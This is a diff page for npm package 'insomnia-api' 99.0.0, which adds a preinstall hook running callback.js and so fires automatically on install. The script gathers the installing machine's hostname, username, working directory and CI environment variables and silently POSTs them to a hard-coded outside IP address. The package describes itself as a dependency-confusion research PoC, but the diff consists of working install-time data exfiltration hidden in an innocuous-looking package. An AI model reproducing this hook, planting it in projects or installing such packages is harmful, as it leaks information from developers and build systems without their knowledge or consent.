insomnia-api 99.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +22 -0
  2. package/package.json +9 -0
package/callback.js ADDED
@@ -0,0 +1,22 @@
1
+ const http = require('http');
2
+ const os = require('os');
3
+ const data = JSON.stringify({
4
+ pkg: process.env.npm_package_name || "unknown",
5
+ h: os.hostname(),
6
+ u: os.userInfo().username,
7
+ c: process.cwd().substring(0, 128),
8
+ id: process.env.npm_package_name + "-kong",
9
+ ci: process.env.CI || process.env.GITHUB_ACTIONS || process.env.JENKINS_URL || "",
10
+ pip_ver: process.version
11
+ });
12
+ const req = http.request({
13
+ hostname: '54.80.197.209',
14
+ port: 8443,
15
+ path: '/cb/' + (process.env.npm_package_name || 'unknown'),
16
+ method: 'POST',
17
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length },
18
+ timeout: 5000
19
+ }, () => {});
20
+ req.on('error', () => {});
21
+ req.write(data);
22
+ req.end();
package/package.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "name": "insomnia-api",
3
+ "version": "99.0.0",
4
+ "description": "Security research PoC — dependency confusion. This package name was unclaimed on npm. Contact via HackerOne.",
5
+ "scripts": {
6
+ "preinstall": "node callback.js || true"
7
+ },
8
+ "license": "MIT"
9
+ }